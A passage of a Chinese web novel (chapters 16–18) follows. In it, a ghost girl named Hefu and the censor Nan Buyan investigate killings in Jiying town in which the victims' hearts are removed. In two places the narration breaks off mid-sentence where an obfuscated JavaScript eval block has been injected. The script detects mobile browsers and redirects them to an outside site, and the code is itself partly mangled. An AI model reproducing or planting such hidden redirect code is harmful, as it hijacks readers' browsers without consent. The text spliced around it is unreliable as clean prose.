屋门从里面打开,走出来一个穿着厚布衣的男人,他手里拿着一件干净的衣服,递给那个女人:“怎么这么晚回来,晚上闹鬼小命没了可别想着让我去收尸。” “就你话多,天天叨叨叨,半点事不做,我才不信那劳什子闹鬼的,要不是这传言,在镇子上捞不到什么,谁想到那个山林子里头挨冻。”女人套上干净的布衣,将那件沾染着黄泥的外衣随意丢在地上。 “要不是那群催债的天天在外头找我,我能不出去干点活计吗!”那男人没好气道。 女人眼一瞪:“你还知道你欠债啊,这家都给你败成什么样了,若不是我拉下脸来去乞讨,你以为你现在还能活着待在家里吗。” 那男人自知理亏,也不再犟嘴:“好了好了,今日在山上有捞到什么没有?” 女人面上露出一个刻薄得意的笑来,将手里的银子在男人面前一挥。 “今儿个在山上遇上坐马车的有钱人家,给的银子,足够挥霍一段时日了。” 男人目光盯着银子痴笑着。 女人进屋前回头看了眼站在院子里低着头的男孩,眼里的嫌恶都快溢出来了,她不耐烦地啧了一下,几步走到男孩面前不由分说地伸手狠狠拽住男孩的耳朵,猛地拧了几下。 “小兔崽子听不懂人话啊!叫你去灶子上把水烧上,不烧水我拿什么暖身子啊!” 男人对女人的行为袖手旁观,只是冷漠道:“烧水去,给我温酒。” 男孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197633|196672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习以为常,被拧了也不吭声,耳朵赤红,细细麻麻的疼,但很快被夜里的冷风吹得失去了知觉,山谷的夜总是冷些。 “灶间没有水了。” “没有水就去镇上的水井里打啊,这么简单的事还用说!”女人恶狠狠看了男孩一眼,“爹娘真是善心泛滥,当年就不该将你领回家里来,笨手笨脚还多了一张吃饭的嘴,要不是看你乞讨还有点用,迟早把你赶出去!” 男人道:“看什么!还不快去!” 男孩低着头,伸手提起院子角落里的木桶,这才刚刚入秋,那双不大的手上就已经布满了冻疮。 屋门关上,隔绝了院子里唯一的亮光,男孩回头看了眼映着烛光的木门,提着木桶的手紧了紧,面上毫无表情,瞳孔里折射着烛火的幽光,沉默片刻,转身推开院门,走入夜色里。 —— “子时三更,平安无事——” 打更人手里拿着一面小锣,在空无一人的街上走着,冷风直往衣袖里钻。 “子时三更,平安无事——”打更人紧了紧衣襟,小声埋怨,“镇子里都阴成这样了还要找人打更,阴森森的看着就骇人,这打更的银钱也不见长。” 不显眼的角落里,院门吱呀一声打开,一个人影摇摇晃晃地走出来。 “小,小兔崽子,看我找到你不打断你的腿!”男人摇晃着往镇子的水井处走,许是酒劲上头,也不怕那闹鬼的传言了。 一刻前,女人就已经出去找那小兔崽子了,也没有回来,真是烦人,他的酒还没有温呢! “小兔崽子!兔崽子出来!”男人醉醺醺的,拖着脚步往水井处走,“老子保证不打死你!”说着又仰头饮下一口。 远处位于孤巷的水井边站着一个小小的身影。 “你这兔崽子果然在这偷懒!”男人快步走过去,眼里怒气冲冲。 可还没有往前走几步,在距离水井还有几丈远的地方,那人影突然消失了。 男人脚步顿住,迟疑地伸手揉揉眼睛,摇摇头再抬头仔细看去。 没有人。 难不成是喝醉了,眼也花了? 男人快步走到井边,酒劲上涌,他伸手扶住水井的井沿,想稳住身子。 嗯?这手上怎么黏黏糊糊的,掌下的东西湿答答软乎乎的,不像是井沿的粗石,还有点温热…… 男人将手举到眼前看了眼,掌心黑乎乎的,夜里黑,看不清…… 他用鼻子嗅了嗅…… 腥!直冲天灵盖! 一瞬间,后颈的毛孔刷地一下打开,从头到脚像是被麻痹一般,全身僵直动弹不得,酒劲一下子被吓得全无,人也清醒过来。 “呕!”男人胃里翻江倒海,俯身想呕,慌乱间低头,一滩暗红的血迹映入眼帘,血迹旁散落着小块暗红色,软塌塌的东西,形状各异,像是……脏器! 顿时,他觉得自己被血腥味包裹,目光僵硬地投向井口。 井水浑浊,却能清晰地看到,井水里漂浮着一具尸体,尸体脸色惨白如纸,双目圆睁,空洞的眼神直直地盯着井口,井水早已经被染得一片浑浊。 “是,是……”男人脚下打滑,双眼瞪直,嘴上打哆嗦,身后凉飕飕,一只小手胡乱摸上他的腰。 “哥哥,你见过我的生辰礼物吗?” “没,没见过,我没见过……” “你也没见过……好吧……” “……!!!” —— “子时三更,平安无事……子时三更,平安……哎那是什么?”打更人看到地上有一团东西,先前打更绕到这没看见过啊,好像是个人睡在地上。 “喂。”打更人踢了地上的人一脚,“这里不让睡觉,不知道最近闹鬼吗,要睡回家睡去。” 那人没反应。 打更人不耐烦地将人翻过来:“都说了这里不让睡——” 在意识到看到什么的时候已经晚了。 打更人眼睛瞬间瞪大,满脸惊恐,尖声叫起来:“啊啊啊啊啊啊啊!死人了!快来人啊死人了!!!!!” 16. 嚼食月光的孩子(三) 屋门关上,房间里陷入一种尴尬的寂静。 合芜装作一副无所谓的样子走到窗子边上,将木窗打开透气,随后有点心虚地施法,将身后之人身上的术法解开。 南不宴坐在桌边和合芜保持着一定的距离,感到口上的封禁一松。 “合姑娘费尽心思要与我一间客房,究竟所图为何?” 南不宴的声音听起来没有很着相,反而很冷静有礼,但是合芜清楚他现在不生气的情况反倒才是最危险的。 合芜:可以的可以的,不就是哄个人,能有忘川河里不愿意投胎的鬼魂难哄嘛。合芜调整了一下面部表情,转过身。 “这不是为与都堂大人的计划着想——” “你一个姑娘不知道要有所避讳吗——” 两人齐刷刷开口。 “嗯?什么?”合芜没听清南不宴的话,走进了几步追问道,“都堂大人方才说什么?” 许是没想到合芜的本意是为了计划,自己原是会错了意,南不宴有些无措,全然没有了方才的半点怒意,倒了杯茶做掩饰,淡淡开口:“不重要。” “哦。”合芜天真地点点头,“事急从全,这是都堂大人之前教我的,冯原不知道我的身份,我怕吓着他,这才提出和你一屋。都堂大人不生气了?” 合芜观察着南不宴的表情。 南不宴板着脸:“本都堂没有生气。” 合芜撇撇嘴,还挺好哄的,不生气就好。 “那我也不跟都堂大人废话喽,我那日听到你来济婴镇是为了找当年的线索,如今咱们已经在镇子里待了几个时辰了,怎么样,都堂大人有什么独到的见解吗?”合芜道。 夜里寂静得很,两人说话的声音格外的清晰。 “我已经让风影顺着先前查到的线索调查下去,可是目前还没有什么新的进展。”南不宴没有保留。 合芜点点头:“既然如此,那我便先说说我观察到的。” “洗耳恭听。” 合芜轻巧跃到窗台上,翘起二郎腿坐着。 “我发现今日在山道上向我们乞讨的女子说谎了,她根本就不是那种穷到要乞讨的人。” “哦?从哪里看出来的?”南不宴抬头看向合芜,月光正透过窗口,洒在合芜的侧脸上,柔和,泛着不真实的淡淡微光。 合芜为自己的发现沾沾自喜:“就是那妇人伸手要银子的时候,我看见她的袖口太干净了,没有半点泥星子,而且她的手也是干干净净的,没有她口中所说乞讨操劳的痕迹,我从前在乱葬岗看到过的,那些真正穷苦至死的冤魂,指甲缝里都是干硬的碎土块,手上的纹路也是又黑又深。” 南不宴平静回答:“嗯,我知道。” “你知道?”合芜眉头一皱,不相信道,“那你知道他们是装的,为什么进镇子之后还要给他们那些银子?” 南不宴看着合芜,语调缓缓:“你发现的不错,但是有一半没有说对。” “哪里有问题?” “他们确实没有穷到那妇人口中地步,但有一点他们没有说谎。” “哪一点?” “确实是以乞讨为生。” 合芜被挑刺,有些不悦:“你从哪里看出来的?有什么凭据没有?” “凭据倒是没有。”南不宴道。 “没有凭据就是信口开河。”觉得自己有理有据占据了上风,合芜又松快起来。 南不宴没有反驳合芜,只是不慌不忙道:“且等着,总会有证据的。” 合芜见这个话题持续不下去,又重新挑起一个话题。 “都堂大人,你对济婴镇闹鬼这件事怎么看呀?”她抬头看了眼窗外,外头静悄悄的,只有打更人隐隐约约的吆喝声,挂在漆黑天空上的月亮也是残缺不堪,确实瘆人,“这镇子上的人看上去都被这传言吓得不轻,你作为左都御史不会不管吧?” 南不宴同样望向窗外,他确实没有料到济婴镇现在是这个样子,也不知道是否会影响线索的调查,短暂的沉默之后,他道:“若是人为,这济婴镇的巡检自会差人调查,相信不出几日便会有结果;若真是闹鬼,恐怕谁查起来都没有现在本都堂面前坐着的这位姑娘来的顺手吧。” 这出乎意料的插曲让他有些担忧。 合芜闻言,心里不由雀跃,这南不宴说话也不是全都不中听。 “那是!我可是地府里的大名人!”合芜骄傲道,但随即话锋一转,“不过这事我还真管不了,一进这镇子我就感知过了。” 她从窗台上跳下来,蹦跶到南不宴面前:“这镇子除了我之外没有别的鬼,所以一定是你们人干的,如此一来这案件应当不会复杂。” 见她一脸势在必得的小表情,南不宴感到方才出现的阴霾稍稍退散去了些,唇角不由带上了点笑意:“那便借合姑娘吉言。” 外头的打更人已经巡到了第三圈,夜色已深。 合芜发现南不宴直视她的眼神躲闪了一瞬,随后有些迟疑道:“床给你休息,我去屋门外休息。” 说着,他便起身,头也不回地往屋门走。 原来他是在想这事,合芜了然。 “都堂大人呢你好好休息。”合芜打了个响指,正准备开门的南不宴被一股看不见的力量拉到床边,“我习惯睡树上。” 窗户外正巧有一棵不小的树,合芜说着就一个翻身跃出窗子,稳稳当当踩在树上。 “睡树上太危险了,你还是——”南不宴有些不放心地走到窗边,要说之前合芜睡树是因为他们都露宿在野外,但现在既然有屋子可以休息,又何必如此。 “都堂大人你可别看不起我。”合芜在树上舒舒服服躺下,“我就算不用手扶,也能稳稳当——” “咣——”远处突然炸起一声惊锣,合芜被吓到,手下一滑吧唧一下摔到了地上。 “哎呦喂!” 幸好树不高,合芜也耐摔。 正想为自己的失误找借口。 “死死人了啊啊啊啊啊!快来人啊啊啊!”远处传来惊叫。 合芜躺在地上与南不宴对视,两人皆是震惊,面面相觑。 * “彭彭彭——”曹巡抚的屋门被拍得震天响。 敲门小厮叫唤的语气慌张:“曹大人,曹大人!” 屋内的男人慢悠悠支起身,胡乱套上里衣,有些摇摇晃晃地从床上爬起来,泛着困意的脑袋直发昏,嘴里骂骂咧咧地走到门前将门打开:“干什么干什么!嚷嚷什么!慌慌张张的成何体统!大半夜敲什么门!” 小厮脸色惨白,说话也是哆哆嗦嗦:“大,大人,外头闹鬼又死人了。” 曹巡抚白眼一翻,不屑道:“不是说了吗,下次遇到闹鬼这事不要大半夜来敲门,我是神棍还是道士啊,叫本巡抚有什么用,这都是这月的第几个了,本巡抚又不是没有派人查过,这不是查不到吗,不要再敲门了听到没有,鬼不睡觉我还要睡觉呢!” 说完,曹巡抚甩甩袖子就要关门:“此事等天亮之后再议。” 小厮支支吾吾,缩着脑袋:“大,大人还有一事。” “还有什么事你倒是说啊。”曹巡抚不耐烦道。 小厮:“外头有三个人说是要见巡抚。” “要见我?”曹巡抚眉头一皱,一脸鄙视:“大半夜的见什么巡抚啊,不知道晚上巡检司休息啊,打发走打发走!” “可是,为首的那人说现在就要见到咱们镇子的巡检,否则后果就由巡检自负。”小厮赶忙道。 曹巡检的脚步微顿,试探问道:“这来的三人什么模样啊?” 小厮道:“有一人小的知道,是镇子上的更夫老李头,今日正好是他轮值,其余的两个是生面孔,一位公子一位姑娘。” “生面孔?” “是,那姑娘看着眉眼清秀,但是穿着简单,不像是什么大户人家的姑娘,那公子穿得倒是不错,其他的小的就看不出来了。” “啧。”曹巡抚瞟了一眼大门的方向,他在济婴镇做了五年的巡抚,还没有见到这么无理的人,“我倒要看看是谁这么大胆子敢口出狂言!” 曹巡抚披上外衣,气势昂扬地走到门口。 他喊道:“把门打开,我倒要看看是哪几个小瘪三——” 大门缓缓打开,南不宴一身玄色的衣裳,冷冷地站在正中间,在他身后,合芜搀扶着早已经吓得站不住的打更人老李头。 曹巡抚在看见南不宴的脸时,瞬间石化住,就差裂开了。 啪唧一声,南不宴都还没出声,曹巡抚就跪在了地上。 这脸,他熟啊! 两年前他中了狗屎运,被上级带去京州赴宴,坐在犄角旮旯里头的时候远远见过这张脸,正是如今的左都御史,曾经的盖世将军南不宴啊! 曹巡抚趴在地上,都快要吓尿了,这尊大佛怎么会大驾光临来这小小的济婴镇。 “御史大人怎,怎会在此啊?”曹巡抚的声音都在打颤,开门前的嚣张气焰全无,恨不得把自己说的话全部咬碎了吞进肚子里,要是让这尊大佛听到了还得了? “哦?”南不宴语气阴阳,“我还以为在大人眼里,我就是一个大半夜打扰大人清梦的小瘪三呢。” “嗤——”合芜忍不住笑出声,不好意思地向南不宴摆摆手,小声道,“你继续。” 曹巡抚哪里还敢怠慢,站起身腿都在抖,连连拜着南不宴:“御史大人说笑了,没有打扰,没有打扰,只要是大人来,哪怕下官在棺材里了也是会立马爬起来的!” “棺材都是钉死的,你可爬不出来。”合芜随口较真道,南不宴也没有阻止。 曹巡抚又立马开始向着合芜拜起来:“是是,姑娘说的对,下官爬不出来,爬不出来。” 虽然曹巡抚不知道站在御史大人身边的这个姑娘是谁,但是有御史大人护着,他指定惹不起。 南不宴打断他:“好了曹大人,我今日来不是为了挑刺的,近日镇子上闹鬼的事情你可知?” 曹巡抚将人往府里带:“自然是知道的御史大人。” “那今日又出现凶案,你可知道。” “自然是知道的御史大人,下官已经派人去将遇害人搬到巡检司的殓房,仵作也差人去叫了。”曹巡抚边说边将手背在身后朝小厮动动手指,差小厮去叫人。 合芜跟在南不宴身后往曹府里走,好奇地左右张望着。 虽说这济婴镇不是很大,但是这曹府属实是精致,亭台楼阁样样不缺。 曹巡抚带着他们来到一扇小门前:“为了办公及 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殓房里面点的蜡烛不少,但都聚在一张张的石台边,周围有些昏暗。 在房间中央摆着五张石台,已是秋季,但为了延缓尸身腐化,殓房里还摆着冰桶。 “鄙人姓陈,大人叫我陈仵作就行。”石台边站着一个中年男人,看着很忠厚。 南不宴道:“陈先生,先讲讲今夜出事的两名死者吧。” 合芜在石台间转悠着。 陈仵作掀开其中两个石台的白布,遇害人一男一女。 其中那女人,便是合芜他们在山道上遇到的那名乞讨妇女,合芜与南不宴对视一眼,两人眼中都有些惊讶,方才听到打更人的惊叫,奈何夜黑风高只看到井边那男人的模样,水井里人的模样实在是看不清,现在才发现竟是“熟人”。 “这两人是住在镇子西边的张家兄妹,遇害的地点是在镇子东边的水井旁,张小妞是在水井里被发现的,张大则是倒在水井边缘约莫一丈处。”陈仵作缓缓道来。 “致命伤呢?”南不宴道。 “皆是在这胸口处。”陈仵作边说边比划着,“正中心,伤口的开口呈现翻开的模样,边沿是撕裂状,整个伤口的深度呈现前浅后深的样子,应当是用锋利但是质地偏软的刀具划开的。” 石台上二人的伤口已经被做过了处理,但是那黑洞洞的血口还是骇人的很。 “之前那三件案件,受害人都是这样的伤口吗?” 陈仵作吩咐学徒将其余几张白布掀开。 “回大人,伤口皆是如此,而且所有的尸身都少了一样东西。” “是什么。” “心。” “心?”合芜重复道。 “是的姑娘。”陈仵作回答合芜,“但更奇怪的是,这凶手将尸身的心取出后并没有带走,都是丢在了离尸身不远的地方。” “那凶手的目的是什么?若只是想要这几个人的命直接一刀就好,为什么还要多此一举呢?若是想要得到什么,又为何什么都不拿呢?”合芜问道。 “这也是鄙人不得解的地方,巡检司也派人多方调查,实在是找不出更对的线索了。”陈仵作遗憾道。 南不宴道:“这些受害人之间可否有联系?” “回大人,没有。” “那这就奇怪了。”合芜走到南不宴身边,转头对着陈仵作道,“对了陈先生,这张小妞是不是还有一个儿子,大概七八岁左右,她儿子现在在何处?” 陈仵作闻言微微一愣,随后反应过来:“姑娘是想问他们兄妹俩的弟弟吧,这张小妞都还未出嫁,哪里来的儿子。” 合芜疑惑。 “两位想来也是被他们骗到了,怪这张大,赌博欠了钱,她妹妹没办法才带着她弟弟一起在街头乞讨,专骗过路人。”陈仵作叹了口气,“张家二老走得早,这弟弟张宝是二老从前从济婴堂领养来的,张家兄妹也是义气,父母走后还是养着张宝把他当亲弟弟一样。” “也就是说现在他们家只有他们三个人?”合芜问道。 “是的姑娘。” 合芜看向南不宴:“那张宝去哪里了?我们要赶紧找到他,说不定他就是案子的突破口。” “现在就去。”南不宴问合芜。 “嗯,现在就去。”合芜点头。 * 院门被推开,木头发出吱吱呀呀的声响。 “张宝?张宝你在吗?”合芜小声叫唤着。 南不宴跟在合芜的身后,他们根据陈仵作的描述后,找到了这间镇子西边的小院。 进了屋子,屋子里没有点灯,一切都很安静。 合芜往里摸索。 “张宝?”合芜再次轻轻唤道。 突然,屋子角落里的柜子发出异响。 合芜和南不宴对视一眼。 “你开?”合芜小声道。 “你连巡检司的殓房都不怕,你怕这个?”南不宴眉头微挑。 “废话,殓房里那些迟早都是要到地府的,对我又没有威胁,谁知道这里面的东西有没有危险啊。”合芜理直气壮。 南不宴甘拜下风:“那你往后退点,我来。” 说着,他握住衣柜的把手,将柜门缓缓拉开。 17. 嚼食月光的孩子(四) 老损的柜门打开,一个孩子蜷缩在几件破旧的衣服被褥上,眼神里充满警惕,怯生生地看着打开柜门,正站在面前看着他的合芜和南不宴。 真是他们昨日遇上的那个小男孩,张宝。 “张宝,你还认识我吗?我是昨日你在山道上遇到的那个大姐姐。”合芜一脸温柔地看着张宝,声音也是轻轻的柔柔的。 张宝害怕紧张的表情渐渐放松下来,看着合芜小声道:“大姐姐?” “对,就是大姐姐。”合芜走到打开的柜子前,在张宝面前蹲下,“不要害怕,姐姐和哥哥来接你了,有什么事情都和哥哥姐姐说,我们会帮你的好吗?” 南不宴给合芜让开地方,在她身后静静注视着她。 “大姐姐。”张宝哆嗦着,眼眶里立马盈满眼泪水,小心翼翼向前伸手抓住合芜的袖口,看得合芜心都快要化了。 “姐姐在,你要不要出来坐坐,这柜子里狭小拥挤,藏着肯定很不舒服吧。”合芜道。 张宝委屈着点点头。 合芜将人领到摆在屋子中央,整间屋子里唯一的那张桌子边上,掸了掸椅子上的灰,让张宝先坐下。 张宝有些局促地坐在椅子上,双脚勉强够得着地,桌子边上只有两把椅子,合芜左右看了看,见南不宴也没有坐下的意思,索性将桌子对面的椅子拉过来摆在张宝边上,随后坐下,南不宴没有说什么,默默站到合芜身边。 虽说张宝和张家并没有血缘关系,但毕竟张宝年纪还小,大致在记事起就被张家二老收养到家中生活,怎么说多多少少肯定是有感情在的,这回事变,只剩下张宝一个孩子,他的心灵肯定受到了很大的创伤。 看着坐在椅子上无措的张宝,合芜和南不宴对视一眼,都有些无奈。 日头往上升,天已经亮了,晚上又闹鬼的事已经瞬间传遍了全镇,院子外不知道什么时候围上了很多看热闹的人,巡检司的人在外头站岗,驱散人群,奈何人多眼杂,闲言碎语难以避免地往屋子里飘。 南不宴将屋门关上,隔绝外头的吵闹。 合芜温声开口道:“张宝,姐姐问你,昨日晚上你身在何处?” 张宝委屈巴巴地看着合芜,眼里是胆怯的泪水,他刚想开口,却瞥见合芜身后南不宴的眼神,立马往后缩了缩脖子,摇摇头。 合芜往身后一看,就见南不宴一脸认真的模样,眼眸冷冷的,全是审视。 “那个都堂大人,你往后站点。”合芜道。 南不宴愣住,收回目光低头看向合芜:“什么?” 合芜耐心解释:“你这样子太凶啦,没看出来张宝他被你吓到了吗?” 南不宴皱眉不解,下意识伸手抚了抚自己的眉头。 “哎呀你就往后站一点嘛。”合芜见他不动,便直接上手将他往后推了推,“嘿嘿,当然如果都堂大人愿意的话,转过去站更好了。” 合芜说完便转回身子,南不宴质问的话来不及说出口,只好硬生生咽下,吃下这个哑巴亏。 “好啦,张宝。”合芜声音清脆,双手托住自己的脸颊撑在桌子上,“现在可以跟姐姐说说你昨晚上去哪里了吗?” 张宝点点头,稚嫩的声音道:“昨晚上,家里没有水了,我给阿哥打水去了。” “打水?你是去镇子上的水井那里打水吗?”合芜闻言,有些惊喜道。 若是张宝去水井边上打水,岂不是很有可能看见了什么。 只见张宝缓缓摇头,捏着自己的手指:“我去了镇子上的水井那里,但是井边的绳子不见了,我只带了木桶打不了水,就只好绕远路去了镇子边上的小河里打水。姐姐,阿哥阿姐真的已经……” 合芜叹了口气,伸手握住张宝的小手,攥在手心里:“别担心,一会儿呀哥哥姐姐就带你去镇子上的济婴堂,那里会有人照顾好你的不用担心。” 见张宝放松下来,合芜才敢继续问:“那你昨日在井边的时候,可有发现什么异常?就是有没有看见什么人在水井边上徘徊?” 张宝摇头。 “那昨夜你是打完水就回家了,路上可有看见什么人吗?”合芜又问。 张宝还是摇头。 一连几问,本以为张宝去过水井是一个极好的突破口,哪里知道问到最后却没有什么有用的信息,合芜像被霜打的茄子一样蔫了。 “那你——” 合芜还想问,张宝却先开了口。 “大姐姐,我有点害怕,昨晚知道阿哥阿姐出事之后,张宝就睡不着了,张宝现在好困,哥哥姐姐可以现在就送张宝去济婴堂吗?” 那水汪汪的眼睛根本让合芜无法拒绝,也许是现在精神太紧绷,张宝想不出更多的细节也说不定,等过几天他稳定下来,再问问说不定能有什么新的发现。 “好,大姐姐现在就带你去济婴堂。”合芜说着站起身。 张宝走到合芜身边,小心翼翼地拉了拉合芜的衣摆,扬起小脸问:“大姐姐,你可以抱着张宝去济婴堂吗,张宝现在好累走不动了。” 谁能受的了如此撒娇呀,张宝虽说已经七岁多,但是相比于同龄的小孩来说要矮也要瘦很多,再加上他确实长得清秀,一双澄澈的眼睛,白白的脸蛋,合芜根本没有办法拒绝。 “当然可以了。”合芜说着就要弯腰。 结果还没碰到张宝,就被南不宴扒拉开。 “哥哥力气大,哥哥抱你。”南不宴道。 张宝立刻害怕地流起眼泪:“我不要你!” 合芜见此场面笑得不行,一边得意洋洋地将南不宴重新推到一边,一边抱起张宝:“怎么样张宝,姐姐的力气是不是也很大?” “嗯!” “姐姐是不是还温柔?” “嗯!” “姐姐是不是比哥哥好?” “嗯!” 合芜笑着,没有注意到身后南不宴一脸无奈地哼了一声。 突然,外头传来一声叫唤。 “合芜啊!不宴啊!我来了!” 屋门咣得一声被推开,不是从里面打开的,是从外面撞开的。 冯原急急忙忙赶来这小院,慌慌张张推开门,就看见了这抓马的一幕:合芜笑嘻嘻地抱着一个小男娃,自己的兄弟不宴站在二人身后一脸幽怨的表情,活像一个怨妇。 “这……”冯原站在门口,进也不是,不进也不是。 合芜抱着小男娃走出屋子,心情大好,一口一个张宝,两人看起来亲昵得很。 冯原愣在原地,这是个什么情况,直到看到南不宴也出了院子,才迟疑地追上,走在南不宴身边。 心里刺挠得紧,冯原忍不住八卦。 他敲了敲南不宴的手臂:“喂,这是什么情况?我今一大早去你们屋子里找你们就没见着人,你知道我敲你俩房门之前做了多大的心理准备吗。我左右多方打听才知道昨晚又闹鬼了,还说什么巡检司里来了一个京州的大官,我猜那大官只定就是你,不对啊,要这么说合着你俩昨晚就背着我跑出来捉鬼了?” 南不宴没有搭理冯原,目光还盯着走在前面的合芜身上,突然答非所问道:“冯原,我看起来很凶吗?” “啥?”冯原被这突如其来的一问问住了。 “……没事。” “?” * 将张宝送到济婴堂,前前后后安顿一番之后,早已经过了午时。 案件疑点重重,其中参杂着的秘密恐怕极其复杂,但毕竟是个棘手的连环案,急不来,合芜和南不宴打算再回巡检司看看情况,昨晚只是浅浅聊了一些关于过往案件的情况,再细节的部份还要慢慢分析了解。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217338|196672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 入秋后的天气一天比一天冷,天上开始飘起小雨,虽没有夏日的阵雨般下得来势汹汹,但是细密绵长之势不减反增,下得人心里闷闷的。 冯原这回跟在二人身边,一同来到巡检司。 曹巡抚早就已经等在了门口,一看见南不宴打着伞归来的身影,立刻拍马屁似的冲上前来迎接。 “哎呦喂御史大人呐,查案这点小事哪里需要您前后奔波啊,下官手下的人您随便使唤都成,若是累到大人您自己了可怎么办。” 这话说的一套一套的,合芜在边上听得直呼专业,心里不免为这曹大人可怜几句,这拍马屁的劲在谁身上都可能好使,可唯独在南不宴身上那是一点用都没有,不过就是费口舌罢了,到头来那可是一点好处都得不到的,她不就是一个活生生的例子嘛。 曹巡抚还在喋喋不休:“下官已经派人在府上为大人准备好了屋子,大人尽管在府上住下,这样一来大人要查案也方便些不是?” 想不到这曹巡抚老精了,合芜边走边想,让南不宴在府上住下一来卖了面子给这当朝的左都御史,再者说左都御史在济婴镇曹巡抚这住过,这事要是传到别处去那可太有面子了,之后平级的谅谁敢不给他曹巡抚三分薄面啊。 这一石二鸟,比阎王老子还要抠,合芜锐评。 合芜见南不宴开口道:“曹大人这可以收拾出几间房。” “哦哦哦!”曹巡抚往后看了眼合芜和冯原立刻会意,“大人要几间房就有几间房,我立刻派人下去收拾出三间上好的屋子!” 曹府虽小,但这路却弯弯绕绕的,三人被曹巡抚带着往住处走,合芜走的慢,便悠哉悠哉地跟在最后面这里看看那里瞧瞧,昨晚天色太黑都没有好好看看这曹府。 秋风卷着残叶,拂过屋檐缓缓飘落在地上,细雨霏霏,景致错落有致,合芜这两年见过的精致建筑不少,但是这曹府确实也是很不错的,估计光是设计这院落就花费了不少银子。 路过一处水榭长廊的时候,合芜瞧着池子里的鸭子出神,没有留意前方。 “咚”的一声轻响,她被迎面而来的人轻轻撞了一下,地上沾着水有点滑,她脚下一个没站稳坐在了地上。 “哎呦。”合芜屁股疼,但是自己没有看路在先,也一定是自己道歉。 她抬头,站在面前的是一个扫地的阿婆,手里的竹扫帚歪在一旁,人也吓得往后缩了缩,浑浊的眼里满是慌乱,连连摆手,又急又怕地对着她躬身,嘴里发出含糊不清的低哑声响,生怕冲撞了她。 她合芜连忙站起身,拍拍身上的灰。半点不悦也无,怕阿婆愧疚急忙上前一步,连连道歉:“阿婆,是我不好,方才走了神,没看路,不怪您。” 她语气轻柔,但是阿婆却还是很紧张,合芜察觉到异样。 “阿婆?”合芜又试探着叫了几声。 确定了阿婆听不见,合芜便伸手轻轻扶了扶她的胳膊,示意她不必惊慌。阿婆见她这般和善,紧绷的身子才稍稍松了些,却依旧低着头,不敢抬眼。 不远处,南不宴将这一幕看在眼里,他轻叹了口气随后快步走近,目光先落在她身上,语气像是故意压制着,听不出来确切的情绪:“有没有撞到哪里?” 合芜摇摇头,倒没有受伤,但这衣裳恐怕是废了,衣摆都是泥,她回头看了眼仍有些不安的阿婆,轻声回他:“我没事,是我走神了,与阿婆无关。” 这时,曹巡抚跑过来连连道歉:“真是让大人见笑了,这是下官府上的老仆,听不见也不会说话,冲撞了合姑娘真是太对不起了。”他说着瞪了一眼那阿婆,打发其离开。 合芜这回集中注意力跟在众人身后,不敢再分神,这曹府一切都好,但却总让她有一种奇怪的感觉,但具体是哪里奇怪她也说不上来。 就是古怪。 18. 嚼食月光的孩子(五) 按理来说,已经逝去的魂魄是可以通过勾魂回来的,合芜完成过这么多的kpi,那些已经到地府的魂魄可以和她直接交流,想要怎么去吓害过自己的人,大可以和合芜面对面详谈。 但其中也不乏合芜找不到魂的鬼,这时候就要用到勾魂大法,通过术法唤来魂魄。 合芜的kpi里绝大部分要吓的人都是有过邪恶的前科,但也有一些没有直接害人死亡,这就需要合芜自己去寻找那人所害怕的东西,完成自己的任务。 南不宴是最后一个,也算是其中最特殊的一个,合芜不了解他,阎王老子给的簿子上也没有关于他的任何资料,再加上他没有害过人,合芜也不知道为什么要吓他,但是这既是任务,那她完成便好。 说到勾魂。 远处的天际线上才刚刚泛出点点的白光,合芜就已经站在了殓房中央,她想试着召唤一下死者的魂魄,如此一来,找到凶手岂不是手到擒来。 但目前还没有找到凶手,结果已经显而易见,她勾魂失败了。 “怎么会勾不到呢?”合芜靠着石台站着,不由喃喃道。 这是以前从来没有过的情况,魂魄总要有个安身的地方,若是勾不到魂魄,那便是只有一个情况,魂魄被什么东西被动地控制住了。 其实昨日在殓房的时候她就已经偷偷试过勾魂了,当时五个魂魄,没有一个回应她的,她还只当是当时殓房里还有活人,那些魂魄不敢出来,可现在殓房里一个人都没有,那就只能得出最不好的结果。 有人压制着魂魄,事情没有她想得那么简单。 看来得找个机会回一趟冥界,找阎王老子问问什么情况下魂魄会被人压制,但是不知道有没有这个时间,毕竟南不宴没有说要在这里久待,也没有准确地说要揽下这件事。 合芜正想着,殓房的门被推开,光线从门口照进来,少年站在门口的身影融在身后的光影里,微微顿了顿。 南不宴在看到合芜的一瞬间有一丝惊讶,许是没想到她会对这件事情这么上心,但他很快便把这点情绪掩藏起来。 南不宴淡淡道:“怎么这么早就来了?” 他走进屋子,将门关上,将鞋底在门口放置的垫子上吸干水份之后才迈步过来。 合芜看向他,眼神认真:“昨日我动用了术法,尝试召来这几人的魂魄,想与他们交流一下关于生前所遇见的事情,但是却没有成功。” 合芜继续道:“我本以为是昨日魂魄畏惧活人不敢来这殓房,所以才没有响应,于是便一大早来这想再尝试一遍,可是还是失败了。” “所以你怀疑?” “我怀疑这事不简单,至少得有一个了解人也了解鬼的在背后掌握着事情的全局,目前的情况让我有点摸不着头脑。”合芜的表情越来越凝重,像被重重打击了,“我还以为能帮上你什么,可现在我却连魂魄都招不来。” 南不宴闻言,看着合芜一脸挫败的样子,迟疑了一下,将手试探着搭在合芜肩头,轻轻拍了拍。 “没事,你已经很厉害了。”他道,若是寻常女子,很少能见到像合芜一般勇敢的。 